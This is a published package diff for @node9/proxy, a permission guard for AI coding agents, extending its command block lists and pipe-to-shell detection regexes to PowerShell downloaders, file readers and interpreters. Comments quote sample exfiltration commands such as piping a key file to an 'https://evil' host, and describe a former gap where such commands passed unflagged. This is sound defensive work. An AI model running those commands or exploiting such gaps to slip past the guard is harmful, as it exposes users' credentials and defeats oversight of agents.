@node9/proxy 2.20.0 → 2.21.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +281 -191
- package/dist/cli.mjs +282 -192
- package/dist/dashboard.mjs +41 -5
- package/dist/index.js +53 -5
- package/dist/index.mjs +53 -5
- package/dist/scan-ink.mjs +16 -2
- package/package.json +1 -1
package/dist/index.js
CHANGED
|
@@ -1471,8 +1471,26 @@ var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
|
1471
1471
|
"--subject",
|
|
1472
1472
|
"--summary"
|
|
1473
1473
|
]);
|
|
1474
|
-
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1475
|
-
|
|
1474
|
+
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1475
|
+
"bash",
|
|
1476
|
+
"sh",
|
|
1477
|
+
"zsh",
|
|
1478
|
+
"fish",
|
|
1479
|
+
"dash",
|
|
1480
|
+
"ksh",
|
|
1481
|
+
"iex",
|
|
1482
|
+
"invoke-expression",
|
|
1483
|
+
"powershell",
|
|
1484
|
+
"pwsh"
|
|
1485
|
+
]);
|
|
1486
|
+
var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
1487
|
+
"curl",
|
|
1488
|
+
"wget",
|
|
1489
|
+
"iwr",
|
|
1490
|
+
"invoke-webrequest",
|
|
1491
|
+
"irm",
|
|
1492
|
+
"invoke-restmethod"
|
|
1493
|
+
]);
|
|
1476
1494
|
function isCatHeredocOrLit(part) {
|
|
1477
1495
|
if (!part) return false;
|
|
1478
1496
|
const t = syntax.NodeType(part);
|
|
@@ -1720,7 +1738,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
|
|
|
1720
1738
|
"uniq",
|
|
1721
1739
|
"tac",
|
|
1722
1740
|
"nl",
|
|
1723
|
-
"dd"
|
|
1741
|
+
"dd",
|
|
1742
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
1743
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
1744
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
1745
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
1746
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
1747
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
1748
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
1749
|
+
"get-content",
|
|
1750
|
+
"gc",
|
|
1751
|
+
"select-string",
|
|
1752
|
+
"sls",
|
|
1753
|
+
"format-hex",
|
|
1754
|
+
"import-csv",
|
|
1755
|
+
"import-clixml"
|
|
1724
1756
|
]);
|
|
1725
1757
|
var GREP_SHAPE = {
|
|
1726
1758
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -2593,6 +2625,12 @@ function extractLiteralArgs(callExpr) {
|
|
|
2593
2625
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
2594
2626
|
}
|
|
2595
2627
|
var NET_BINARIES = /* @__PURE__ */ new Set([
|
|
2628
|
+
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
2629
|
+
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
2630
|
+
"iwr",
|
|
2631
|
+
"invoke-webrequest",
|
|
2632
|
+
"irm",
|
|
2633
|
+
"invoke-restmethod",
|
|
2596
2634
|
"curl",
|
|
2597
2635
|
"wget",
|
|
2598
2636
|
"scp",
|
|
@@ -3779,6 +3817,12 @@ function evaluateEgress(dests, policy) {
|
|
|
3779
3817
|
}
|
|
3780
3818
|
var SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
|
|
3781
3819
|
var SINK_COMMANDS = /* @__PURE__ */ new Set([
|
|
3820
|
+
// PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
|
|
3821
|
+
// is `cat key | curl`, and scored nothing.
|
|
3822
|
+
"iwr",
|
|
3823
|
+
"invoke-webrequest",
|
|
3824
|
+
"irm",
|
|
3825
|
+
"invoke-restmethod",
|
|
3782
3826
|
"curl",
|
|
3783
3827
|
"wget",
|
|
3784
3828
|
"nc",
|
|
@@ -4640,7 +4684,7 @@ var bash_safe_default = {
|
|
|
4640
4684
|
{
|
|
4641
4685
|
field: "command",
|
|
4642
4686
|
op: "matches",
|
|
4643
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4687
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4644
4688
|
flags: "i"
|
|
4645
4689
|
}
|
|
4646
4690
|
],
|
|
@@ -6180,7 +6224,11 @@ var DEFAULT_CONFIG = {
|
|
|
6180
6224
|
op: "matches",
|
|
6181
6225
|
// Anchor curl/wget as a shell command so node -e scripts testing this
|
|
6182
6226
|
// regex pattern don't self-match as a false positive.
|
|
6183
|
-
|
|
6227
|
+
// Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
|
|
6228
|
+
// SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
|
|
6229
|
+
// either list gains a name this regex does not. The PowerShell sinks
|
|
6230
|
+
// carry \b so `iex` cannot match inside e.g. `iexplore`.
|
|
6231
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
|
|
6184
6232
|
flags: "i"
|
|
6185
6233
|
}
|
|
6186
6234
|
],
|
package/dist/index.mjs
CHANGED
|
@@ -1441,8 +1441,26 @@ var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
|
1441
1441
|
"--subject",
|
|
1442
1442
|
"--summary"
|
|
1443
1443
|
]);
|
|
1444
|
-
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1445
|
-
|
|
1444
|
+
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
1445
|
+
"bash",
|
|
1446
|
+
"sh",
|
|
1447
|
+
"zsh",
|
|
1448
|
+
"fish",
|
|
1449
|
+
"dash",
|
|
1450
|
+
"ksh",
|
|
1451
|
+
"iex",
|
|
1452
|
+
"invoke-expression",
|
|
1453
|
+
"powershell",
|
|
1454
|
+
"pwsh"
|
|
1455
|
+
]);
|
|
1456
|
+
var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
1457
|
+
"curl",
|
|
1458
|
+
"wget",
|
|
1459
|
+
"iwr",
|
|
1460
|
+
"invoke-webrequest",
|
|
1461
|
+
"irm",
|
|
1462
|
+
"invoke-restmethod"
|
|
1463
|
+
]);
|
|
1446
1464
|
function isCatHeredocOrLit(part) {
|
|
1447
1465
|
if (!part) return false;
|
|
1448
1466
|
const t = syntax.NodeType(part);
|
|
@@ -1690,7 +1708,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
|
|
|
1690
1708
|
"uniq",
|
|
1691
1709
|
"tac",
|
|
1692
1710
|
"nl",
|
|
1693
|
-
"dd"
|
|
1711
|
+
"dd",
|
|
1712
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
1713
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
1714
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
1715
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
1716
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
1717
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
1718
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
1719
|
+
"get-content",
|
|
1720
|
+
"gc",
|
|
1721
|
+
"select-string",
|
|
1722
|
+
"sls",
|
|
1723
|
+
"format-hex",
|
|
1724
|
+
"import-csv",
|
|
1725
|
+
"import-clixml"
|
|
1694
1726
|
]);
|
|
1695
1727
|
var GREP_SHAPE = {
|
|
1696
1728
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -2563,6 +2595,12 @@ function extractLiteralArgs(callExpr) {
|
|
|
2563
2595
|
return { name, flags, paths: args.map((a) => a.value), words, args };
|
|
2564
2596
|
}
|
|
2565
2597
|
var NET_BINARIES = /* @__PURE__ */ new Set([
|
|
2598
|
+
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
2599
|
+
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
2600
|
+
"iwr",
|
|
2601
|
+
"invoke-webrequest",
|
|
2602
|
+
"irm",
|
|
2603
|
+
"invoke-restmethod",
|
|
2566
2604
|
"curl",
|
|
2567
2605
|
"wget",
|
|
2568
2606
|
"scp",
|
|
@@ -3749,6 +3787,12 @@ function evaluateEgress(dests, policy) {
|
|
|
3749
3787
|
}
|
|
3750
3788
|
var SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
|
|
3751
3789
|
var SINK_COMMANDS = /* @__PURE__ */ new Set([
|
|
3790
|
+
// PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
|
|
3791
|
+
// is `cat key | curl`, and scored nothing.
|
|
3792
|
+
"iwr",
|
|
3793
|
+
"invoke-webrequest",
|
|
3794
|
+
"irm",
|
|
3795
|
+
"invoke-restmethod",
|
|
3752
3796
|
"curl",
|
|
3753
3797
|
"wget",
|
|
3754
3798
|
"nc",
|
|
@@ -4610,7 +4654,7 @@ var bash_safe_default = {
|
|
|
4610
4654
|
{
|
|
4611
4655
|
field: "command",
|
|
4612
4656
|
op: "matches",
|
|
4613
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4657
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
4614
4658
|
flags: "i"
|
|
4615
4659
|
}
|
|
4616
4660
|
],
|
|
@@ -6150,7 +6194,11 @@ var DEFAULT_CONFIG = {
|
|
|
6150
6194
|
op: "matches",
|
|
6151
6195
|
// Anchor curl/wget as a shell command so node -e scripts testing this
|
|
6152
6196
|
// regex pattern don't self-match as a false positive.
|
|
6153
|
-
|
|
6197
|
+
// Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
|
|
6198
|
+
// SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
|
|
6199
|
+
// either list gains a name this regex does not. The PowerShell sinks
|
|
6200
|
+
// carry \b so `iex` cannot match inside e.g. `iexplore`.
|
|
6201
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
|
|
6154
6202
|
flags: "i"
|
|
6155
6203
|
}
|
|
6156
6204
|
],
|
package/dist/scan-ink.mjs
CHANGED
|
@@ -810,7 +810,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
|
|
|
810
810
|
"uniq",
|
|
811
811
|
"tac",
|
|
812
812
|
"nl",
|
|
813
|
-
"dd"
|
|
813
|
+
"dd",
|
|
814
|
+
// — PowerShell, absent until 2026-09-22 —
|
|
815
|
+
// Same membership test, "does it emit file contents": Get-Content/gc print
|
|
816
|
+
// the file (cat), Select-String/sls print matching lines (grep), Format-Hex
|
|
817
|
+
// dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
|
|
818
|
+
// one of these read a credential file with no verdict while its POSIX twin
|
|
819
|
+
// blocked. Lowercase on purpose: PowerShell is case-insensitive and the
|
|
820
|
+
// prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
|
|
821
|
+
"get-content",
|
|
822
|
+
"gc",
|
|
823
|
+
"select-string",
|
|
824
|
+
"sls",
|
|
825
|
+
"format-hex",
|
|
826
|
+
"import-csv",
|
|
827
|
+
"import-clixml"
|
|
814
828
|
]);
|
|
815
829
|
var GREP_SHAPE = {
|
|
816
830
|
takesValue: /* @__PURE__ */ new Set([
|
|
@@ -1291,7 +1305,7 @@ var bash_safe_default = {
|
|
|
1291
1305
|
{
|
|
1292
1306
|
field: "command",
|
|
1293
1307
|
op: "matches",
|
|
1294
|
-
value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
1308
|
+
value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
|
|
1295
1309
|
flags: "i"
|
|
1296
1310
|
}
|
|
1297
1311
|
],
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@node9/proxy",
|
|
3
|
-
"version": "2.
|
|
3
|
+
"version": "2.21.0",
|
|
4
4
|
"description": "IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.",
|
|
5
5
|
"main": "./dist/index.js",
|
|
6
6
|
"module": "./dist/index.mjs",
|